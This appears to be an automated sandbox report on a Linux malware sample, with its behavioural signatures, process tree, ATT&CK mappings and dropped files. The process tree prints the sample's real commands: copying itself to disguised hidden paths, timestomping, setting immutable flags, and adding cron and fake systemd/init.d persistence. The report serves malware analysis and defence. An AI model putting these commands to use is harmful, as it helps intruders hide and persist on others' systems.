Overview

overview

7

Static

static

1

cb6de9d219...59.bin

ubuntu-18.04-amd64

7

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260127-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260127-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01/05/2026, 10:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin
  • Size 1.1MB
  • Sample260501-mw29eaex21
  • SHA256 cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Modifies Bash startup script 2 TTPs 2 IoCs
    persistence
  • Changes its process name 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin
    /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin
    1⤵
    • Deletes itself
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Modifies Bash startup script
    • Changes its process name
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1525
    • /bin/sh
      sh -c "cp /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin (deleted) /var/tmp/.sshd 2>/dev/null; chmod 755 /var/tmp/.sshd 2>/dev/null; touch -r /bin/sh /var/tmp/.sshd 2>/dev/null"
      2⤵
      • File and Directory Permissions Modification
      PID:1528
    • /bin/sh
      sh -c "chattr +i /var/tmp/.sshd 2>/dev/null"
      2⤵
        PID:1529
        • /usr/bin/chattr
          chattr +i /var/tmp/.sshd
          3⤵
            PID:1530
        • /bin/sh
          sh -c "cp /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin (deleted) /usr/lib/.libpthread.so.0 2>/dev/null; chmod 755 /usr/lib/.libpthread.so.0 2>/dev/null; touch -r /bin/sh /usr/lib/.libpthread.so.0 2>/dev/null"
          2⤵
          • File and Directory Permissions Modification
          PID:1531
        • /bin/sh
          sh -c "chattr +i /usr/lib/.libpthread.so.0 2>/dev/null"
          2⤵
            PID:1532
            • /usr/bin/chattr
              chattr +i /usr/lib/.libpthread.so.0
              3⤵
                PID:1533
            • /bin/sh
              sh -c "cp /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin (deleted) /var/cache/.ldconfig 2>/dev/null; chmod 755 /var/cache/.ldconfig 2>/dev/null; touch -r /bin/sh /var/cache/.ldconfig 2>/dev/null"
              2⤵
              • File and Directory Permissions Modification
              PID:1534
            • /bin/sh
              sh -c "chattr +i /var/cache/.ldconfig 2>/dev/null"
              2⤵
                PID:1535
                • /usr/bin/chattr
                  chattr +i /var/cache/.ldconfig
                  3⤵
                    PID:1536
                • /bin/sh
                  sh -c "cp /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin (deleted) /lib/.libproc.so 2>/dev/null; chmod 755 /lib/.libproc.so 2>/dev/null; touch -r /bin/sh /lib/.libproc.so 2>/dev/null"
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1537
                • /bin/sh
                  sh -c "chattr +i /lib/.libproc.so 2>/dev/null"
                  2⤵
                    PID:1538
                    • /usr/bin/chattr
                      chattr +i /lib/.libproc.so
                      3⤵
                        PID:1539
                    • /bin/sh
                      sh -c "cp /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin (deleted) /tmp/.X11-unix/.X0 2>/dev/null; chmod 755 /tmp/.X11-unix/.X0 2>/dev/null; touch -r /bin/sh /tmp/.X11-unix/.X0 2>/dev/null"
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1540
                    • /bin/sh
                      sh -c "chattr +i /tmp/.X11-unix/.X0 2>/dev/null"
                      2⤵
                        PID:1541
                        • /usr/bin/chattr
                          chattr +i /tmp/.X11-unix/.X0
                          3⤵
                            PID:1542
                        • /bin/sh
                          sh -c "cp /tmp/cb6de9d21935d30876c9d62a4557b160854115af9b6dab8a781d4e192c8f3559.bin (deleted) /dev/shm/.pulse 2>/dev/null; chmod 755 /dev/shm/.pulse 2>/dev/null; touch -r /bin/sh /dev/shm/.pulse 2>/dev/null"
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1543
                        • /bin/sh
                          sh -c "chattr +i /dev/shm/.pulse 2>/dev/null"
                          2⤵
                            PID:1544
                            • /usr/bin/chattr
                              chattr +i /dev/shm/.pulse
                              3⤵
                                PID:1545
                            • /bin/sh
                              sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sshd'; echo '@reboot /var/tmp/.sshd >/dev/null 2>&1'; echo '@reboot sleep 30 && /usr/lib/.libpthread.so.0 >/dev/null 2>&1') | crontab - 2>/dev/null"
                              2⤵
                                PID:1546
                                • /bin/grep
                                  grep -v /var/tmp/.sshd
                                  3⤵
                                    PID:1550
                                  • /usr/bin/crontab
                                    crontab -
                                    3⤵
                                    • Creates/modifies Cron job
                                    PID:1548
                                  • /usr/bin/crontab
                                    crontab -l
                                    3⤵
                                      PID:1549
                                  • /bin/sh
                                    sh -c "(crontab -l 2>/dev/null | grep -v cron_check; echo '* * * * * /tmp/.cron_check >/dev/null 2>&1') | crontab - 2>/dev/null"
                                    2⤵
                                      PID:1551
                                      • /usr/bin/crontab
                                        crontab -
                                        3⤵
                                        • Creates/modifies Cron job
                                        PID:1553
                                      • /bin/grep
                                        grep -v cron_check
                                        3⤵
                                          PID:1555
                                        • /usr/bin/crontab
                                          crontab -l
                                          3⤵
                                            PID:1554
                                        • /bin/sh
                                          sh -c "update-rc.d dbus-daemon defaults 90 2>/dev/null"
                                          2⤵
                                            PID:1556
                                            • /usr/sbin/update-rc.d
                                              update-rc.d dbus-daemon defaults 90
                                              3⤵
                                                PID:1557
                                                • /usr/local/sbin/systemctl
                                                  systemctl daemon-reload
                                                  4⤵
                                                    PID:1558
                                                  • /usr/local/bin/systemctl
                                                    systemctl daemon-reload
                                                    4⤵
                                                      PID:1558
                                                    • /usr/sbin/systemctl
                                                      systemctl daemon-reload
                                                      4⤵
                                                        PID:1558
                                                      • /usr/bin/systemctl
                                                        systemctl daemon-reload
                                                        4⤵
                                                          PID:1558
                                                        • /sbin/systemctl
                                                          systemctl daemon-reload
                                                          4⤵
                                                            PID:1558
                                                          • /bin/systemctl
                                                            systemctl daemon-reload
                                                            4⤵
                                                            • Reads runtime system information
                                                            PID:1558
                                                      • /bin/sh
                                                        sh -c "systemctl enable dbus-daemon 2>/dev/null"
                                                        2⤵
                                                          PID:1579
                                                          • /bin/systemctl
                                                            systemctl enable dbus-daemon
                                                            3⤵
                                                            • Changes its process name
                                                            PID:1580
                                                            • /lib/systemd/systemd-sysv-install
                                                              /lib/systemd/systemd-sysv-install enable dbus-daemon
                                                              4⤵
                                                                PID:1581
                                                                • /usr/bin/getopt
                                                                  getopt -o r: --long root: -- enable dbus-daemon
                                                                  5⤵
                                                                    PID:1586
                                                                  • /usr/sbin/update-rc.d
                                                                    /usr/sbin/update-rc.d dbus-daemon defaults
                                                                    5⤵
                                                                      PID:1587
                                                                      • /usr/local/sbin/systemctl
                                                                        systemctl daemon-reload
                                                                        6⤵
                                                                          PID:1588
                                                                        • /usr/local/bin/systemctl
                                                                          systemctl daemon-reload
                                                                          6⤵
                                                                            PID:1588
                                                                          • /usr/sbin/systemctl
                                                                            systemctl daemon-reload
                                                                            6⤵
                                                                              PID:1588
                                                                            • /usr/bin/systemctl
                                                                              systemctl daemon-reload
                                                                              6⤵
                                                                                PID:1588
                                                                              • /sbin/systemctl
                                                                                systemctl daemon-reload
                                                                                6⤵
                                                                                  PID:1588
                                                                                • /bin/systemctl
                                                                                  systemctl daemon-reload
                                                                                  6⤵
                                                                                  • Reads runtime system information
                                                                                  PID:1588
                                                                              • /usr/sbin/update-rc.d
                                                                                /usr/sbin/update-rc.d dbus-daemon enable
                                                                                5⤵
                                                                                  PID:1609
                                                                                  • /usr/local/sbin/systemctl
                                                                                    systemctl daemon-reload
                                                                                    6⤵
                                                                                      PID:1610
                                                                                    • /usr/local/bin/systemctl
                                                                                      systemctl daemon-reload
                                                                                      6⤵
                                                                                        PID:1610
                                                                                      • /usr/sbin/systemctl
                                                                                        systemctl daemon-reload
                                                                                        6⤵
                                                                                          PID:1610
                                                                                        • /usr/bin/systemctl
                                                                                          systemctl daemon-reload
                                                                                          6⤵
                                                                                            PID:1610
                                                                                          • /sbin/systemctl
                                                                                            systemctl daemon-reload
                                                                                            6⤵
                                                                                              PID:1610
                                                                                            • /bin/systemctl
                                                                                              systemctl daemon-reload
                                                                                              6⤵
                                                                                                PID:1610
                                                                                      • /bin/sh
                                                                                        sh -c "systemctl daemon-reload 2>/dev/null"
                                                                                        2⤵
                                                                                          PID:1651
                                                                                          • /bin/systemctl
                                                                                            systemctl daemon-reload
                                                                                            3⤵
                                                                                              PID:1652
                                                                                          • /bin/sh
                                                                                            sh -c "systemctl enable dbus-broker 2>/dev/null"
                                                                                            2⤵
                                                                                              PID:1673
                                                                                              • /bin/systemctl
                                                                                                systemctl enable dbus-broker
                                                                                                3⤵
                                                                                                  PID:1674
                                                                                              • /bin/sh
                                                                                                sh -c "systemctl start dbus-broker 2>/dev/null"
                                                                                                2⤵
                                                                                                  PID:1695
                                                                                                  • /bin/systemctl
                                                                                                    systemctl start dbus-broker
                                                                                                    3⤵
                                                                                                      PID:1696

                                                                                                Network

                                                                                                      MITRE ATT&CK Enterprise v16

                                                                                                      Reconnaissance

                                                                                                      Resource Development

                                                                                                      Initial Access

                                                                                                      Execution

                                                                                                      Scheduled Task/Job

                                                                                                      1
                                                                                                      T1053

                                                                                                      Cron

                                                                                                      1
                                                                                                      T1053.003

                                                                                                      Persistence

                                                                                                      Boot or Logon Autostart Execution

                                                                                                      4
                                                                                                      T1547

                                                                                                      XDG Autostart Entries

                                                                                                      1
                                                                                                      T1547.013

                                                                                                      Boot or Logon Initialization Scripts

                                                                                                      2
                                                                                                      T1037

                                                                                                      RC Scripts

                                                                                                      2
                                                                                                      T1037.004

                                                                                                      Create or Modify System Process

                                                                                                      1
                                                                                                      T1543

                                                                                                      Systemd Service

                                                                                                      1
                                                                                                      T1543.002

                                                                                                      Event Triggered Execution

                                                                                                      1
                                                                                                      T1546

                                                                                                      Unix Shell Configuration Modification

                                                                                                      1
                                                                                                      T1546.004

                                                                                                      Hijack Execution Flow

                                                                                                      1
                                                                                                      T1574

                                                                                                      Path Interception by PATH Environment Variable

                                                                                                      1
                                                                                                      T1574.007

                                                                                                      Scheduled Task/Job

                                                                                                      1
                                                                                                      T1053

                                                                                                      Cron

                                                                                                      1
                                                                                                      T1053.003

                                                                                                      Privilege Escalation

                                                                                                      Boot or Logon Autostart Execution

                                                                                                      4
                                                                                                      T1547

                                                                                                      XDG Autostart Entries

                                                                                                      1
                                                                                                      T1547.013

                                                                                                      Boot or Logon Initialization Scripts

                                                                                                      2
                                                                                                      T1037

                                                                                                      RC Scripts

                                                                                                      2
                                                                                                      T1037.004

                                                                                                      Create or Modify System Process

                                                                                                      1
                                                                                                      T1543

                                                                                                      Systemd Service

                                                                                                      1
                                                                                                      T1543.002

                                                                                                      Event Triggered Execution

                                                                                                      1
                                                                                                      T1546

                                                                                                      Unix Shell Configuration Modification

                                                                                                      1
                                                                                                      T1546.004

                                                                                                      Hijack Execution Flow

                                                                                                      1
                                                                                                      T1574

                                                                                                      Path Interception by PATH Environment Variable

                                                                                                      1
                                                                                                      T1574.007

                                                                                                      Scheduled Task/Job

                                                                                                      1
                                                                                                      T1053

                                                                                                      Cron

                                                                                                      1
                                                                                                      T1053.003

                                                                                                      Defense Evasion

                                                                                                      File and Directory Permissions Modification

                                                                                                      1
                                                                                                      T1222

                                                                                                      Linux and Mac File and Directory Permissions Modification

                                                                                                      1
                                                                                                      T1222.002

                                                                                                      Hijack Execution Flow

                                                                                                      1
                                                                                                      T1574

                                                                                                      Path Interception by PATH Environment Variable

                                                                                                      1
                                                                                                      T1574.007

                                                                                                      Credential Access

                                                                                                      Discovery

                                                                                                      Lateral Movement

                                                                                                      Collection

                                                                                                      Command and Control

                                                                                                      Exfiltration

                                                                                                      Impact

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      dbus-daemon
                                                                                                      • Path /etc/init.d/dbus-daemon
                                                                                                      • Size 227B
                                                                                                      • SHA256 9b77f8a975d76234bd8d246fd86f526a2f4c40f1cf628f334ec55f3693d9f849
                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                      Submit Download

                                                                                                      locale.sh
                                                                                                      • Path /etc/profile.d/locale.sh
                                                                                                      • Size 92B
                                                                                                      • SHA256 4f5db1db32787cabddfd5549219115f6e47e96a2fed3eea0c1de213e82cc343f
                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                      Submit Download

                                                                                                      dbus-broker.service
                                                                                                      • Path /etc/systemd/system/dbus-broker.service
                                                                                                      • Size 299B
                                                                                                      • SHA256 0d419a08269bf45ad4f4bd8196227023fad5f770c42269fdbd7023c58dfba423
                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                      Submit Download

                                                                                                      .lock
                                                                                                      • Path /tmp/.X11-unix/.lock
                                                                                                      • Size 5B
                                                                                                      • SHA256 235581d056dd1693dc024d34609a415c987a1d85ec24db61b443b66c9b8b72ca
                                                                                                      • MD5 SHA1 SHA512
                                                                                                      Submit Download

                                                                                                      .cron_check
                                                                                                      • Path /tmp/.cron_check
                                                                                                      • Size 248B
                                                                                                      • SHA256 217143525c92c1b70fa7f3e16cf53254ccfc1d70c2f17504b7acca7d6da940e1
                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                      Submit Download

                                                                                                      tmp.mZOKfT
                                                                                                      • Path /var/spool/cron/crontabs/tmp.mZOKfT
                                                                                                      • Size 276B
                                                                                                      • SHA256 fd4ce52fa8ca60f07b628f092a90e7d7b87debad78fda6e174a6fc898e3232c8
                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                      Submit Download

                                                                                                      tmp.pPJabS
                                                                                                      • Path /var/spool/cron/crontabs/tmp.pPJabS
                                                                                                      • Size 319B
                                                                                                      • SHA256 d2fae3787d395868302d2710492d488f1c89a9b37be819f7e2c0011a992bb4a6
                                                                                                      • MD5 SHA1 SHA512 TLSH
                                                                                                      Submit Download